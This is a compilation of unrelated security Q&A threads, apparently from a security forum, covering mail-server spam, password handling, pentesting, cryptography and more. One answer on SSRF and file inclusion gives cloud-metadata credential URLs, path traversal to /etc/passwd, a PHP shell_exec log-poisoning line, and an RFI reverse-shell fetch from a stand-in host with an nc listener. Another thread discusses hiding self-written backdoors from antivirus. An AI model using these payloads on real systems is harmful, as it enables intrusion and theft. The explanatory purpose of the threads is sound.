
Now I can see that my mail server probably (?) is being used by someone else, because in the /var/log/mail.log file I can see a lot of unknown email adresses, things like:

postfix/smtp[31747]: C1EF776612: to=<REGLEMENTATION@agirc-arrco.fr>, relay=mail2.gieprod.com[195.182.17.37]:25, delay=21527, delays=21525/0.01/1.8/0, dsn=4.0.0, status=deferred (host mail2.gieprod.com[195.182.17.37] refused to talk to me: 554-mail2.gieprod.com 554 Your access to this mail system has been rejected due to the sending MTA's poor reputation. If you believe that this failure is in error, please contact the intended recipient via alternate means.)

or:

postfix/smtpd[31772]: NOQUEUE: reject: RCPT from smtp-sortant.sn.auf.org[213.154.65.69]: 550 5.1.1 <EmmanuelRoy@mydomain>: Recipient address rejected: User unknown in virtual mailbox table; from=<> to=<EmmanuelRoy@mydomain> proto=ESMTP helo=<smtp-sortant.sn.auf.org>

Does the last one means it ok, or it means something else?

These are not mine emails. And there's a lot of them, and their "RCPT TO" command usually takes 20 email adresses as I see in the log. Sometimes there appears "Throttling" (?) sentence. And they are using my domain name for many different fake email adresses as "MAIL FROM", e.g. chevassucathy@mydomain, AKZwart@mydomain, MichaelLESKINEN@mydomain, SantinaZappulla@mydomain and lots of others.

Yesterday evening I've used this to clear a queue for emails (I just learnt that there's something like a queue):

postsuper -d ALL

But today morning I can see that there are new not sent emails in a queue.

So, I wonder if I could restrict somehow using of SMTP on my server, like perhaps:

I could restrict using SMTP from outside (non-local) to only determined IP numbers?
I could not allow to send any other email adresses as "MAIL FROM" than related to the emails accounts existing (set up)?
other ways?

Or, am I only able to prevent this by stopping SMTP service, and launching postfix when I actually want to send an email (very uncomfortable of course)?

EDIT: I tried to do a test on this site: http://www.aboutmyip.com/AboutMyXApp/QuickServerTest.jsp

Here's what I got:

    >>> 220 name ESMTP Postfix (Debian/GNU)
    <<< EHLO u16544016.aboutmyip.com
    >>> 250-name
    >>> 250-PIPELINING
    >>> 250-SIZE 10240000
    >>> 250-VRFY
    >>> 250-ETRN
    >>> 250-STARTTLS
    >>> 250-AUTH PLAIN LOGIN
    >>> 250-ENHANCEDSTATUSCODES
    >>> 250-8BITMIME
    >>> 250 DSN
    <<< MAIL FROM:
    >>> 250 2.1.0 Ok
    <<< RCPT TO:
    >>> 554 5.7.1 : Recipient address rejected: Relay access denied
    <<< QUIT

    Connection test: PASS
    Reverse IP Lookup: WARNING - Reverse IP lookup test failed on your server. Some servers on the Internet may reject emails from this server.

    Open relay test: PASS

EDIT2: Authentication

I thought that this is an authentication - this is a content of the /etc/postfix/sasl/smtpd.conf file:

pwcheck_method: authdaemond
log_level: 3
mech_list: PLAIN LOGIN
authdaemond_path: /var/run/courier/authdaemon/socket

The SMTP server when I telnet to it seem to require e.g. to pass "auth plain [base64 with email adress and pswd]" in order to use "MAIL TO" command.

At first glance, your first log line looks like your mail server is trying to send bounce messages to fake senders.

In other words, you get spam with a fake sender. This gets rejected, and your system tries to return an error message but fails. The bounce gets put in the deferred queue, to be tried again.

Short-term solution is indeed to clear the queue (but use postsuper -d ALL deferred to clear only that specific queue). Also first make sure there isn't any useful e-mail in there (mailq or postqueue -p).

But also, it seems that your server is on some kind of blacklist, which may be caused by your system being abused by spammers, but could also just mean that your hoster has a poor reputation for spam (reputation systems sometimes work by blocks of IP addresses).

See also here: https://serverfault.com/questions/115161/fixing-my-mtas-poor-reputation


Does plain password means security hole? I registered to a www-site. After that I got a mail where was given info like thanks for registering to our site. Your password is and password in plain text. Does it mean that the site does hold my password in plain text and there is a security hole?

Since you've just registered at the site it might be that the password you've just entered was included in the mail without storing it in plain in the database. So while it might be that the site stores the password in plain one cannot conclude this just from this mail.

Even if the password is not stored as plain at the server it is still insecure to include the plain password in a mail which is not end-to-end encrypted (i.e. using PGP or S/MIME). Usually mails are not end-to-end encrypted but at most encrypted for the transport between mail servers and to the mail client, but they are accessible in plain at each mail server involved in transport or storage of the mail. This also means that your password is accessible at these servers.


API pentesting for mobile and web. What's the difference? So, I have to pentest an API that is both used by a web app and two mobile apps (Android and iOS, obviously). My question is: do I have to test three times (i.e., for each app) or just once (since it's the same API backend anyway)? Is there even a difference between pentesting "through" the mobile app vs "through" the web app?

That will depend on what you wish from the testing.
What do you wish to test?

If you wish to test your webservice or Serrver side API with the objective that anyone can build a client to interact with it then you just need 1 test to make sure the service is strong and matches your needs.

If you are developing your own front end system to interact with the Server API then you will require to test them also.

Only then you can confirm that your fronted is working properly and cannot be leveraged by any malicious actor to subvert the API.


Why isn't recommended to use time-based blind for bruceforcing table/column names? When not having priveleges on the session user you're using with sqlmap this warning appears when trying to retrieve table/column names, offering you to brute force names using a dictionary file,

do you want to use common column existence check? [y/N/q] y
[03:37:06] [WARNING] it's not recommended to use 'AND/OR time-based blind' and/or 'stacked queries' for common column existence check
are you sure you want to continue? [y/N]

Why isn't it recommended?

This is the condition that causes the warning to be shown:

if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:

The individual conditions mean:

kb.columnExistsChoice is None – previous answer to the subsequent question "are you sure you want to continue?"
not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) – whether there is no other injection using a technique other than time-based or stacked
not conf.direct – whether it’s not a direct connection

So in conclusion, the warning is shown if

it hasn’t been shown yet, and
there is no other injection using a technique other than time-based or stacked, and
it is not a direct connection.

The reason for that is probably because the time-based and stacked techniques are time consuming and may take quite a time to finish.


Can a hacker sniff others' network data over a wireless connection? Provided that the hacker knows the WiFi password if any (WEP or WPA), is he capable of sniffing network data of other hosts connected to the same access point?

If an attacker has the password, then they could, for example, use Wireshark to decrypt the frames.

(Note, however, there's no need to have a WEP password since it is a completely broken security algorithm. WEP keys can be extracted from the encrypted traffic by merely capturing enough packets.  This usually only takes a few minutes.

Also, keep in mind that not all APs are built the same.  Some can direct the RF beam in a much more focused way. Therefore, although you may be connected to the same AP, you may not be able to see all of the other traffic.)


Is it possible for a network administrator to disable interactive elements on a webpage? (such as text boxes) As part of my degree, we're currently looking at a hypothetical scenario in which internet access is introduced to prison cells.
As part of the information risk assessment, I was wondering if it is possible to disable elements of a webpage that inmates could use to communicate or sign up to services (comment sections, forms, etc) while possibly leaving search bars usable.
Since the machine would be controlled and locked down by the prison staff, any necessary software could be installed on the inmates machine.

Is it possible for a network admin to set rules that would disable
specific parts of a page?
If not, does software exist that could provide this function if
installed on the users machine?
Would this need to be done for each website individually, or could
it be done in a generic fashion across any website?

My questions are regarding the practicalities of this, not the ethics. I have already looked into that part.

I do not know a lot about web design (I know the basics of HTML), so I do not know if it is possible to do this. Any thoughts would be appreciated!

Believe it or not, large corporations are even more paranoid about this sort of thing due to concerns about data leakage, mandated retention of communications (for discovery or due to regulations), and botnet C&C.  The term I last heard used was "Read Only Web", and it can sort of be accomplished by doing the usual MITM inspection of all traffic (and blocking anything encrypted or suspicious).  I did find a Symantec article describing doing this with a Blue Coat proxy (which they own).


Open Source vs Closed Source Systems My understanding is that open source systems are commonly believed to be more secure than closed source systems.
Reasons for taking either approach, or combination of them, include: cultural norms, financial, legal positioning, national security, etc. - all of which in some way relate to the culture's view on the effect of having that system open or closed source.
One of the core concerns is security. A common position against open source systems is that an attacker might exploit weakness within the system if known. A common position against closed source systems is that a lack of awareness is at best a weak security measure; commonly referred to as security through obscurity.
Question is, are open source systems on average better for security than closed source systems? If possible, please cite analysis in as many industries as possible, for example: software, military, financial markets, etc.

This question was IT Security Question of the Week.
Read the May 25, 2012 blog entry for more details or submit your own Question of the Week.

The notion that open source software is inherently more secure than closed source software -- or the opposite notion -- is nonsense. And when people say something like that it is often just FUD and does not meaningfully advance the discussion.

To reason about this you must limit the discussion to a specific project. A piece of software which scratches a specific itch, is created by a specified team, and has a well defined target audience. For such a specific case it may be possible to reason about whether open source or closed source will serve the project best.

The problem with pitching all "open source" versus all "closed source" implementations is that one isn't just comparing licenses. In practice, open source is favored by must volunteer efforts, and closed source is most common in commercial efforts. So we are actually comparing:

Licenses.
Access to source code.
Very different incentive structures, for-profit versus for fun.
Very different legal liability situations.
Different, and wildly varying, team sizes and team skillsets.
etc.

To attempt to judge how all this works out for security across all software released as open/closed source just breaks down. It becomes a statement of opinion, not fact.


Is Threat Risk Assessment the same as Threat Risk Modeling? I've been asked to help fill out a survey and one of the questions is whether a Threat Risk Assessment has been performed on a blog we're setting up for a charity.  The WordPress blog will use a free theme. It will be administered by a 5 content admins, but otherwise, there's no password protected content, and all information is publicly available.

I'm not familiar with Threat Risk Assessment, so I did a search on google.  I see there are some industry known practices for Threat Risk Modeling, like STRIDE and DREAD.  Is Threat Risk Modeling meant to mean the same thing as Threat Risk Assessment? In which case, I can reply by saying we will hire someone to do a DREAD Threat Risk Assessment?  Is threat risk assessment the same as threat risk modeling?

Risk Assessment is described as

  Risk assessment determines the value of the information assets, identifies the applicable threats and vulnerabilities that exist (or could exist), identifies the existing controls and their effect on the risk identified, determines the potential consequences and finally prioritizes the derived risks and ranks them against the risk evaluation criteria set in the context establishment.

in the ISO/IEC 27005:2011.

A Threat Risk Assessment does exactly that, but with focus on threats towards an organization/system/software (whatever you set as your scope).

To give an example, if you would perform a TRA for your blog an outcome might be:

Asset: webserver

Threat: abuse of rights

Vulnerability: All admins have access to the admin control panel (or whatever this is called in wordpress)

Control: Gee, I don't know?!?

Effect on Risk: lowers likelihood by X%

Now you are done with the risk assessment (in a nutshell). After you have completed this for all your assets within the chosen scope, you model your threats. This means, that you try to 'think' like an attacker who wants to harm you/your system. How would he/she try to accomplish his/her goal? If you can't do that yourself, you hire a consultant, an IT-security expert or you visit Sec.SE and ask a question:

  You: "Heyyy guyzz, how would an admin abuse his rights, if he was,
  like, an admin on my blog?" (not you obviously)

You get a sophisticated answer that describes how this admin would do that.

  Sec.SE: "Oftentimes administrators have more rights, than they need. Imagine a team of - let's say - 5 admins. Each admin has a specific role. Admin A is responsible for uploading new content, Admin B is responsible for moderating comments, Admin C is responsible for maintaining the database and so on. This obviously means, that each admin should only have the rights, that he/she definitely needs to have. You should definitely restrict the rights for admins in a way, that they are only allowed to do things, that they have to, according to their roles.

Now you have modelled(!) a threat and also established a control. Congratulations!


1 PIX firewall, 2 routers, 2 switches. Please answer a couple questions about hack lab I bought a bunch of cisco equipment for a project and I got
1 PIX firewall
2 switches
and 2 routers

This is my plan for a topology but I am new at this so I need help.
I am basing this off the illustration on the ethicalhacker.com "rant about hack labs" article here

I would like it if my attacker machine wasn't connected, but I can always make exceptions.  Also, I can always switch up connections when I'm not doing certain scenarios.
here are 2 topologies I based around that illustration:

Switch 1 -> router 1 -> switch 2 -> more servers

Switch 1 -> firewall 1 -> switch 2 -> exploitable web server

I want to simulate a "realistic" network layout, and also a "realistic" web setup.

I know I have something messed up, please guide me.

Feel free to yell and shout, as long as it helps me in some way to improve this.

ANY help will be greatly appreciated.  Thanks so much.

edit: My god...the whole cable set up is ridiculous!  I need all sorts of console cables and also adapters to plug it in my computer.
Mmm more money to spend.

Depending on your model of PIX, and what version of the OS is loaded on it, you actually have a lot of options. If you have something with PIXOSv7 or higher (that is a 515 or better with at least 256MB of RAM) you can run your PIX in either routed or transparent mode. So what you could do is:

switch1 -> router -> firewall(transparent) -> switch2

And this would simulate a fairly common corporate network where switch2 would represent the machine room network, the router would be your network core, and switch1 would be an office area.

Similarly, you could rearrange things a little thusly

switch1 -> router -> switch2 -> firewall(transparent)

to represent a network edge where switch1 would be external space, switch2 a DMZ and use the inside interface of the PIX to be the protected network.

If your is 515 or better, and has the add-on interface module (that takes you from 2 to 6 ports) then you can start getting really fancy with things like multiple contexts. That is, up to 3 virtual firewalls in your single device.


Hijacking Search History? I accidentally inputted possibly sensitive information into Google search. (my copypaste screwed up and I searched a copy of previously copied information...)

I already cleared search history, but from this question I am concerned if either Google or third party can get hold of this information that i inputted.

Is this possible, either by Google or third party?

You'll never know.

I once happened to input a password. I immediately changed it once I realised this. If your information was a password, you better change it now.


Can I get functions addresses from CaptureStackBackTrace? I'm trying to hook some functions in a static linked executable and I have to get a pattern for the function in almost every new version of the program as the function is quite big so the compiler changes many of the bytes for every little change.

I noticed that this function uses another very small function that is also statically linked but I can get a pattern for it which works for almost all the versions.

So I'm planing to search for this function, hook it, trace the stack and finally find the caller function address.

I didn't know what is exactly the stack of a function and thought CaptureStackBackTrace returns the addresses of the functions but this was wrong. It returned some addresses that are near to the real functions addresses.

Can I get the functions start addresses from these addresses returned from CaptureStackBackTrace? I don't need to use dbghelp to get the names or addresses of functions as pdb files won't be presented.

A year old question but it does come up in searches so:
Pattern matching:
First part of your question, you might want to look up on how to find functions by signatures/patterns. Web search for this, there are a lot of good answers on this or the sister site Stack Overflow, on Game hacking sites, etc.
See: https://www.unknowncheats.me/forum/c-and-c-/125497-findpattern-benchmark.html

For the stack trace part:
CaptureStackBackTrace() works by calling RtlWalkFrameChain() walking EBP/RBP stack frames. Disassembling the function in ntdll you can see it's a very simple
function. At least one problem of it is for functions that don't have stack frames, it's probably not going to find those return addresses. This and StackWalk64() are better left for debugging situations where you have PDBs for everything, etc.

What you'll probably want to do is walk up the stack yourself. You can get the current stack pointer (ESP/RSP) using the _AddressOfReturnAddress() compiler intrinsic or do a "__asm mov eax,esp", etc.

Using "DWORD_PTR" advance up the stack calling VirtualQueryEx() on each value that looks like an address. If it returns success it's at a least a valid memory pointer.
If it's protection flag is "(PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY) != 0" then you know it's not executable.

If the type is not "MEM_IMAGE" then it's probably not a return address either because all normal Windows executables (.exe, .com, .dll, etc.) are going to be imaged mapped.
With some exceptions like if the code is from some sort of JIT, shellcode, mallware, etc.

Then you can go a level or two deeper by using a simple dissembler library (like HDE) to disassemble the instruction at the assumed return address. Should be a valid instruction there.

Look at the "debghelp.dll" functions too. There's support to resolve addresses to known API functions, etc.
Update: Tried this. Depending on the target process it ends up being a mess since you will find a bunch of stray code offsets. Turns out the stack is relatively chaotic. Better to use CaptureStackBackTrace() and hope that the return chain has frame pointers.

For the get function start address question:
(A lot of these topics are not so trivial) you can try using "SymFromAddr()" and that might tell you what API the return address is in.

If you can use the dbghelp.dll functions or they don't work for you, if again a return address has a MEM_IMAGE type the "AllocationBase" should the same as "HMODULE". The module that contains the function returned too.

Now that you found the base of the module you are in:
Then using PE header parsing, you can walk the export table for the module. Loop through them comparing the start address of one the exported function to the next. Your address will be between there someplace. The exported function closest to your address is the answer.
Update: SymFromAddr() IS what you want to use. Works great with the stack walking described above. Be sure to wrap it around a critical section though, it's not thread safe.

Note: I find my self with Windows API functions they don't always work as they are described and/or don't handle edge cases so well where you pretty much have to experiment; using either kernel32.dll, psapi.dll, or even ntdll.dll functions directly.


Virus-total offline Alternatives These days I am working on FUDing my own written backdoor, RATs, etc.
what is the alternative offline version of virus-total, if I don't want AV companies gaining my virus signature?

The alternative is to buy all the AV which are used in virustotal.com and build a similar system for local use. Don't forget to cut it from the internet because AV might phone home not only to get new signatures but also to report interesting new findings.

Apart from that there is an underground market for such checks, see http://www.wired.com/2009/12/virus-check/, but as you might imagine this is primarily used for illegal activity.


How to securely store and manage one-time backup codes for 2FA? I am already using 31 services with 2nd factor authentication and the number is growing. In addition to having multiple authentication devices, I decided for or had to generate a separate set of one-time backup codes (let's call them OTBC).

I use password manager with 2FA to store all my passwords. I run password manager only on machines I own and manage. However I am mobile so I cannot use a physical vault (for example to store printed OTBC). Password manager introduced its own set of OTBC.

I am considering what is the best practice for securely managing OTBC. I assume I may lose all 2FA devices and this should not prevent me from accessing the services using the OTBC.

It is my understanding that OTBC should be treated with the same level of security precautions as passwords. Otherwise they render 2FA non-existent.

One of 2FA purposes is protection against using passwords obtained by breaching the password manager on non-authenticated devices. So OTBC to respective services cannot be stored alongside their passwords in the password manager otherwise this would render 2FA non-existent.

In result I have the necessity for two separate password managers one for passwords, one for OTBC.

Now, each of password managers introduces its own set of OTBC (to backup the 2FA for the master password) which cannot be memorized.

They should be stored outside of their respective password manager databases. So I can either store them outside of the system or in a cross-fashion:

Passwords-DB <== passwords for services  +  OTBC for OTBC-DB
OTBC-DB <== OTBC for services  +  OTBC for Passwords-DB

Provided the passwords: one for Passwords-DB and one for OTBC-DB are not stored outside of my brain, is it the simplest method for managing OTBC and are there any security flaws or hidden risks in this scheme?

The problem with storing OTBC on-device is that if your device is compromised software-wise, eg virus infection, trojan, copy attack etc, then you are toast.

Note that once you unlock Password-DB, a malicious entity could access OTBC for the OTBC-DB and then access that too.

My suggestion for securely managing these, is to use 2 separate databases, once for OTBC and one for passwords/2FA. Of course, you do NOT access OTBC-database unless absolute neccessary.

The OTBC for both these password managers, you store in a encrypted text file. In the same text file you store the seed for the OTBC-DB, eg you do NOT have 2FA access to the OTBC-DB unless in a absolute emergency.

To access password-DB/2FA, you need the following:

1: Your Brain Password A.
2: 2FA code or OTBC code taken from encrypted text file.

To access OTBC-DB, you need the following:

1: Your Brain Password B.
2: The contents of the encrypted file (Always!).

The encrypted file is then hosted to your cloud service.

Now to how you should encrypt that text file:

I would suggest using some service, that would upon a secret password trigger, send your encryption key to a email, BUT, only after having waited atleast lets say 24 hours, upon you get a email to "cancel" it.

So when you lose all your 2FA devices, you type your secret "emergency password" into the service. Then you wait 24 hour, then you have your random password to your encrypted file, which are used along with Brain password B to gain access to your OTBC database.

However, if a hacker would try to access the emergency key, you would been given a opportunity to cancel that, and then the hacker could not access that.


Why would a scammer not reply with the same email? I was recently messaged over a website of an online marketplace regarding an advertisement of an item I was selling, whereupon the "buyer" asked me to contact them over an email they provided.

After messaging that email, the reply I received was from a different email (spelled very similarly) e.g. emailed FakeName945@gmail.com to get a reply from FakeName954@gmail.com (actual emails have been changed). I did not notice this at first until the body of the email made me suspicious of a scam.

Why would the scammer not reply with the same email?

I had considered that the email may serve as a "listening" address, and correspondence was delegated to individual scammers. If this where the case, why not just ask me to contact the email they would have replied with, in the first place?

I had also considered that this may be to filter more scam aware people, but wondering if there was more to it.

They might be load-balancing internally.

Let's say you are dealing with a team of 10 scammers who spam 10,000,000 people and assume that about 200 marks reply. How do they make sure those 200 marks are evenly distributed on their 10 people? By having them all reply to the same address and then distribute them internally. Whoever gets assigned to the mark then replies from their own email so all further correspondence goes through their personal mailbox.

Or they might even go a step further and give each mark an own mailbox to converse with so the scammers don't mix up their marks. A mark might suddenly reply from a different account or accidentally start a new email thread just mentioning "the deal we agreed on". When a scammer operates on multiple marks at the same time (and most scammers do) then they really don't want to be confused by that and risk breaking the illusion that the mark is in some unique negotiation with a private person.


What is the difference between RFI/LFI and SSRF? Is there any difference between those? Can we say that Server Side Request Forgery (SSRF) is a generalization of Remote File Inclusion (RFI) and Local File Inclusion (LFI)?

Server-Side Request Forgery CAN be an RFI or LFI

It can be the same as RFI. The same two vulnerabilities can exist within the same function. The caveat is that a lot of web apps may block access to external domains through a firewall or something, making the RFI portion "impossible" for an external host.

Imagine you have a web app which asks you for a specific URL, and outputs information based on the url.

Let's assume RFI is blocked at the firewall level because it's not able to communicate with outside sources, and only internal hosts are whitelisted. Or maybe we can assume that the preprocessor engine or web application has functionality which prevents remote code execution through the use of escaping, etc.

Well, what if you entered internal IP addresses instead of an external IP?

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100

If the web application returns information based on that page, it may be possible to turn this into RCE in some circumstances, or even run a port scan against internal resources using the SSRF vulnerability.

Let's try a "scan" on an SSH port:

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22

which returns the following error:

PHP Warning:  fopen(hxxp://10.40.20.100:22):
failed to open stream: hxxp request failed!
SSH-2.0-OpenSSH_7.7p1 Debian-3 in
/home/markfluffybunnybuffalo/test.php on line 2

You just revealed that I have SSH open on that internal network address. Hmm. Maybe you can do some enumeration on other ports and see what's open. You may even find an archive of files somewhere with which you can get some sort of internal RFI going.

You may also be able to read resources that are generally only available on the internal network, including cloud metadata.

SSRF attacks can also work like an RFI attack in many cases. But in general, people will (I hope) disable the inclusion of remote files not on the web server itself.

Cloud Metadata

One of the nastiest ways to abuse SSRF vulnerabilities is through the inclusion of cloud metadata files which could provide you with access credentials that could be used to laterally escalate across a cloud hosting proider.

Examples shown below for various cloud providers or technologies:

Amazon Web Services (AWS)

hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
hxxp://169.254.169.254/latest/user-data
hxxp://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/ami-id
hxxp://169.254.169.254/latest/meta-data/reservation-id
hxxp://169.254.169.254/latest/meta-data/hostname
hxxp://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
hxxp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

Microsoft Azure

hxxp://169.254.169.254/metadata/instance?api-version=2017-04-02
hxxp://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

Google Cloud Platform (GCP)

hxxp://169.254.169.254/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/
hxxp://metadata/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/instance/hostname
hxxp://metadata.google.internal/computeMetadata/v1/instance/id
hxxp://metadata.google.internal/computeMetadata/v1/project/project-id
hxxp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
hxxp://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
hxxp://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Oracle Cloud

hxxp://192.0.0.192/latest/
hxxp://192.0.0.192/latest/user-data/
hxxp://192.0.0.192/latest/meta-data/
hxxp://192.0.0.192/latest/attributes/

Kubernetes

hxxps://kubernetes.default.svc.cluster.local
hxxps://kubernetes.default
hxxps://kubernetes.default.svc/metrics

Local File Inclusion

A function vulnerable to LFI may also be vulnerable to RFI. It depends. In this scenario, you are including a local file, such as

hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd

This lets you see what users are on the system, so maybe you can try to connect via SSH as one of those users, or find more information about them. There's a lot of different things you can do with it.

Maybe you can also include a script that you've written to the server, or perhaps you've poisoned the access.log with code that would be executed by a preprocessor engine (such as placing <? echo shell_exec($_GET["c"]); ?> within a legitimate request that gets logged), to get remote code execution as a different user depending on the context.

Remote File Inclusion

See above, only it allows remote files. It may be possible that the function is vulnerable to both LFI and RFI.

With RFI, the likelihood of executing code is very high. You can host a web server which returns PHP code without processing it through the preprocessor engine, which then gets executed on the victim's server.

hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php

If you put PHP code in that file, you may be able to execute code with this vulnerability. One example is using reverse shell code. You'd throw up a listener:

nc -nlvp 4444

And then visit the page with the RFI vulnerability, which should trigger your reverse shell:

connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami

markfluffybunnybuffalo

Conclusion

So it looks like RFI/LFI and SSRF are pretty much the same class of vulnerabilites, just used in different ways.


Encryption and the "security time decay" of prior encrypted data This question is on the assumption that any data once encrypted, may (eventually) be decrypted through

Brute force (compute power/time)
Exploits in the cryptography used
Theft of private keys

Most threat models, procedures, and business interaction I've been involved with has focused on the protection and security of current or future data, but not so much on what's needed to maintain the safety of data previously encrypted.

"Previously encrypted data" may not only include encrypted messages or files, but also may include an capture of a previous SSH or VPN session.

Is there any discussion in the IT Security community about data that was encrypted on a given date in relation to Moore's law, Cloud computing, and time all working as factors that might decrypt previously encrypted information?

Is there discussion on the theft of a private key that would put prior data at risk?

Many people in the business and legal departments consider encryption an infallible lockbox that can never break, and don't see it as an encrypted blob whose security decays over time, and needs ongoing vigilance to maintain. (e.g. don't be careless with these blobs, don't leave them on a public server for analysis as people may attempt to decrypt it)

I'm interested in any thought around

If this is a factor in deciding to use a private hardwire connection instead of a VPN
Examples and methods to gauge the time sensitivity of information, and exposure risk
Risks and remediations within the IT Security realm
Ways to communicate the risk (and relevant remediation) to non-technical folk. (e.g. for funding)
... ?

One notion is called Perfect Forward Secrecy. This applies to situations where you encrypt data and decrypt it almost simultaneously, but you worry about an attacker who would later on obtain a copy of the decryption key. This is a restrictive model, but it applies to SSL connections: the server private key is long-lived (usually, it is stored in a local file) and thus subject to future theft; whereas there is no legitimate need to decrypt exchanged data at a future date.

In the case of SSL, the solution relies on the "DHE" (Diffie-Hellman Ephemeral) cipher suites. Roughly speaking, client and server use a Diffie-Hellman key agreement, with fresh private exponents, to establish the session keys. The server private key (the one corresponding to the public key in the server certificate) is used only for signing (so that the server is duly authenticated by the client). Therefore, ulterior theft of the server private key does not allow the attacker to decrypt data which was exchanged beforehand. The Diffie-Hellman private exponents and the session key, being transient (linked to that session only), are never stored on a physical medium, and they are forgotten once the session is closed; therefore, they are much less susceptible to ulterior theft.

Moore's law and overall increase in available computing power is not a big issue, because it is predictable: such computing power increases by a factor of less than 2 every year. Therefore, it is easy to oversize keys a bit to account for that factor: in the case of symmetric encryption, just add one key bit per year. This means that AES with a 192-bit key will be fine for at least one century, at least with regards to such technological advances. For RSA, Diffie-Hellman, Rabin-Williams or El-Gamal, aim at 8192-bit keys for the same protection level (384-bit key for elliptic curves).

More worrisome are scientific advances, namely potential discovery of faster algorithms for, e.g., integer factorization. Such advances are much less predictable than technological advances; however, they also seem to happen quite rarely (the last big advance in factorization was the invention of the Number Field Sieve, and that was 20 years ago). The quantum computer is an unknown joker here: if it can ever be built, then it utterly destroys asymmetric cryptography (well, at least, the factorization-based and discrete-log based algorithms, including the elliptic curve variants; possibly, McElliece encryption may resist).

Generally speaking, the biggest threat for long-term confidentiality of encrypted data is private key theft. When applicable, PFS really improves things by a fair margin. Worrying about Moore's law or quantum computing is very good news indeed: it means that you have already thwarted all easier attack vectors, which is no small achievement. Thinking that "encryption is an infallible lockbox" is not completely preposterous: if done properly, the encryption part itself will add negligible risks to what you must already face when it comes to storing a private key and keeping it safe while not losing it altogether.


Does client side hashing add any benefit here? My situation is this:

User credentials are stored on the server, bcrypt, random hashes.
I'm designing a REST API, so I'd like to keep this as stateless as possible!
The client is an Android/iPhone app.
All communication is done over HTTPS with newest TLS

Here are the scenarios in which I have to transmit a password over the wire:

User logs on
User changes his password (needs the old password for confirmation)
User changes his email (needs the current password for confirmation)

In all of these cases I'm wondering if there would be any added security benefits in additionally hashing/encrypting the password on the client side, before sending it over HTTPS to the server.

On a related note, since the passwords are stored as hashes on the server, how would I even go about implementing an additional client side hashing/encryption schema that yields some form of the original password on the server, so that I can compare it to the stored hash?

When you hash passwords on the client, the shared secret between client and server is no longer the cleartext password but the hash of the cleartext password. Your password is no longer monkey, your password is now $2a$04$RuNMmxnNakaesRjxjI3IAO70b2zK8lb5eRLb./huDLJ0OkWC0ikGm (bcrypt hash of "monkey"). The server would then hash this hash again and compare it to the hash-hash it already has in the database for that user-account.

So anyone who somehow obtains the client-calculated hash can compromise your user account.

The only advantage you have in this scheme is that the server is never aware of the user's cleartext password, not even in memory. This makes it provably impossible for the server to steal the cleartext passwords, even if it had malicious intentions.

Keep in mind that this scheme requires that the client always uses the same salt for hashing the same password. Otherwise re-hashing the hash on the server-side won't yield the same result. But you can use different salts on different clients and you can change the salt when you change the cleartext password.


How should I safely display my phone number on my website? If I display my email address on my website, I would probably receive a lot of spam, so I can set up a contact form instead.  If I want to display my phone number, how can I prevent unwanted phone calls?

Well, the first thing is not to worry about it so much, because your threat model is unlikely.

Voice spammers don't get phone numbers by sending bots out to crawl the web, because they have much better sources of numbers.

And targeted attacks, where someone wants to prank call you specifically, can't be prevented because you can't tell who is an attacker and who is a customer.

If you still want to obscure your text, then here you can use similar techniques to those used to obscure email addresses:

Do the formatting weird so bots don't recognise it as a phone number.
Use an image of the number instead of the text. (But please don't do this, because it'll break accessibility.)
Shrug your shoulders and put good anti-spam in place.


Which is the easiest secure file transport protocol to implement (SFTP, FTPS, HTTPS, FTP over SSH, FTP over IPsec) I have to select a secure file transfer protocol, to be implemented in a pre-boot system. I have access to libraries with the basic network functionalities (IP, TCP, UDP, etc...). I might also have access to the OpenSSL library.

I need to know which would be the easiest one to implement, in case I have the OpenSSL library available, and also if I do not. I do not have a SSH client, so I would have to implement it in case of using SFTP.

Finally, I would really like if someone could give me a justified statement on which is easier to implement (and by easier I mean less time consuming) between SSH or SSL/TLS.

If you have OpenSSL then use SSL/TLS: the protocol which is simplest to implement is the one which is already implemented. SSL just offers a raw tunnel, so you would have to include some kind of management protocol which organizes the actual "file transfer", e.g. HTTP. HTTP within SSL is known as HTTPS: that's standard, so the hard work of specifying the protocol is already done.

Without OpenSSL, I would still personally recommend SSL/TLS for the following reason: I have done it (SSL client and server for embedded systems, each fits in less than 20 kB of code). So I know it is doable. Also, there are other SSL/TLS libraries targeted at small systems, e.g. CyaSSL or axTLS.

Reimplementing the SSH protocol should not be awfully harder than reimplementing SSL, but the SSH specification is bigger (it begins at RFC 4251, which describes the architecture, and the actual protocol is spread over several subsequent RFC; on the other hand, SSL/TLS fits in the single RFC 5246). That's obviously a not-very-objective way of choosing a protocol, but it is not totally uncalled for either.

For SSL/TLS, I suggest the following:

Use TLS 1.2 and do not bother with previous versions (you control the client and the server, so you can enforce a specific version). TLS 1.2 requires the implementation of only one hash function, while previous versions required both MD5 and SHA-1.
Use a single cipher suite (e.g. TLS_RSA_WITH_AES_128_CBC_SHA256). This simplifies things quite a bit and allows you to hardcode things like block size or MAC length.
